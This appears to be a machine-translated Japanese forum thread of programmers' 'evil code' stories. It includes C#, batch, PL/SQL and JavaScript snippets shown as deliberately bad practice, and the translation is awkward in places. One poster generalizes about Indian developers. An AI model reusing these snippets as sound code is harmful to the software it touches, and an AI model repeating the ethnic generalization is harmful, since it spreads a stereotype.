印刷できない文字は、サーバーからクライアントにデータ(すべての文字列!)を送信するために使用されました。したがって、すべての文字列はサーバー側で0x03文字で区切られ、Split関数を使用してC#でクライアント側を再構築しました。
Somwehatの正気な方法はそうすることでした:
someVariable.Split(Convert.ToChar(0x03);
気さくでフレンドリーな方法は、定数を使用することでした。
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
EVILの方法は、同僚が選んだものでした。VisualStudioで0x03に「印刷」を使用し、引用符で囲みます。
someVariable.Split('/*unprintable character*/');
さらに、このライブラリ(および関連するすべてのプログラム)では、単一の変数がローカルではありませんでした(チェックしました!)。関数は、それらを浪費しても安全と判断された場合に同じ変数を回復するか、プロセスの全期間にわたって存続する新しい変数を作成するように設計されました。複数のページを印刷し、それらを色分けしました。黄色は「グローバル、別の機能によって変更されない」を意味し、赤色は「グローバル、複数の機能によって変更される」を意味します。グリーンは「ローカル」でしたが、何もありませんでした。
ああ、私は制御バージョンについて言及しましたか?もちろん、何もありませんでした。
アドオン:少し前に発見した機能を思い出しました。
その目的は、intergersの配列の配列を調べ、最初と最後の各項目を0に設定することでした。これは次のようになりました(実際のコードではなく、メモリから、さらにC#風に)。
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
もちろん、ポイントは、すべてのアイテムで両方の操作を行うために、すべてのサブアレイでこれを実行する必要があるということでした。プログラマがこのようなことをどのように決定できるのか、私にはわかりません。
Pdp-10の汎用レジスターにループをロードし、それらのレジスターでコードを実行したプログラムだと思います。
Pdp-10でそれを行うことができます。それはあなたがすべきだという意味ではありません。
編集:少なくともこれは私の(時にはかなりみすぼらしい)回想の最高のものです。
上記の他の誰かが言ったことに似ています:
私は、アプリケーションに疑似スクリプト言語がある場所で働いていました。約30のパラメーターと1つの巨大なSelect Case
ステートメント。
パラメータを追加する時が来ましたが、それをしなければならなかったチームの人は、すでに多すぎることに気付きました。
彼の解決策は?
彼は最後に単一のobject
パラメーターを追加したため、必要なものを渡してキャストできました。
私はその場所から十分速く出られませんでした。
私が参加したプロジェクトで見つけた他の物の中で、私はこのダイヤモンドを見つけました:
newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');
私は、セミカスタムデータベースの高可用性ソリューションでかなり異常な動作を見つけることに関与するという深い不幸がありました。
コアビットは目立たなかった。 Red Hat Enterprise Linux、MySQL、DRBD、およびLinux-HAスタッフ。ただし、構成は、完全にカスタム化されたパペットのようなシステムによって維持されていました(当然、このシステムに起因する狂気の他の多くの例があります)。
システムは、DRBD構成を作成するために必要な情報の一部について、キックスタートがルートディレクトリに残すinstall.log
ファイルをチェックしていることがわかりました。これ自体はもちろん悪です。形式が実際に定義されていないログファイルから設定をプルしません。しかし、さらに悪化します。
このデータは他のどこにも保存されず、実行するたびに(60秒ごと)install.log
を参照しました。
誰かがこれ以外の場合は役に立たないログファイルを削除することを初めて決めたときに何が起こったのかを推測させてください。
クライアントチームが奇妙な問題を報告した後、アプリケーションの2つの異なるバージョンが同じデータベースを指していることに気付きました。 (彼らに新しいシステムを展開している間、彼らのデータベースはアップグレードされたが、誰もが彼らの古いシステムをダウンさせるのを忘れていた)
これは奇跡の脱出でした。
それ以来、ありがたいことに自動化されたビルドとデプロイのプロセスがあります:-)
誰かが私のコンピューターのダイの側面に基づいて乱数を生成するバッチプログラムを書いて、それを共有すると思いました。
@echo off
set SIDES=6
:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)
echo %BUF%
pause
goto start
仕事をしますが、それがどれほど遅いかを推測します...
私がかつて働いていた人は、Fortune 500企業の給与を処理する約10のその他のアクセスデータベースにリンクするMS Accessアプリを書きました。最後のチェックでは、そこに約70,000人の従業員がいて、まだ使用されていました...
コード内のエラーチェックはほとんどなく、見づらい、トラブルシューティングが悪い。私たちはアクセスデータベースを最大限に使い続けたため、数か月ごとにそれらを削除する必要がありました。
はい、コードセグメントではないことを知っています。 MS Access、Payroll、およびFortune 500の3つの事実だけが、悪と見なされます。非常に悪。冗談だったらいいのに。
私はインドの開発者によって書かれた同様のことで働いてきました。巨大なメインフォーム、グローバル変数など。幸いなことに、上司は多くの努力を重ねた結果、この混乱を大幅に減らすことができました。それでも、私はこのアプリでの作業が嫌いでした。残念なことに、それは数学アプリであり、これらのインド人の一部は数学が得意だったので、アプリを書き換えるのではなく修正する必要がありました。
私にとって最悪の部分は、20000行のフォームでのVisual Studio + ReSharperの信じられないほど遅いことでした。 ReSharperをオフにすると、管理しやすくなりますが、このたわごとをすぐにリファクタリングすることはできません。
私たちの会社のOracleパッケージからcalcアプリをコミッションします(最初から再構築する前)
CREATE OR REPLACE PACKAGE BODY Const AS
FUNCTION Basisprov_offen
RETURN INT
IS
BEGIN
RETURN 4;
END;
FUNCTION Basisprov_offen_s
RETURN VARCHAR
IS
BEGIN
RETURN Const.Basisprov_offen || '';
END;
/* ... a lot more creepy stuff ... */
END Const;
そして、同じアプリの別のパッケージで
...
INSERT INTO Texpkorr
SELECT
Stammnummer,
Nummer,
Artikelnummer,
GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
Exportart
FROM Provaltbv, Texp
...
数年前、私は複数会社のロイヤルティ報酬会社に入社し、そこでそれらは生産に至りました。迅速な評価とビジネスを知ることは、いくつかの混乱に対する重要な修正を明らかにし主導することになりました:
たとえ報酬ポイントであっても、お金です食べ物、映画館、フライト、ドラッグストアなど、ほとんどすべてにお金をかけることができます。
ここにいくつかの邪悪なコードがあります: http://code.google.com/p/google-caja/wiki/AttackVectors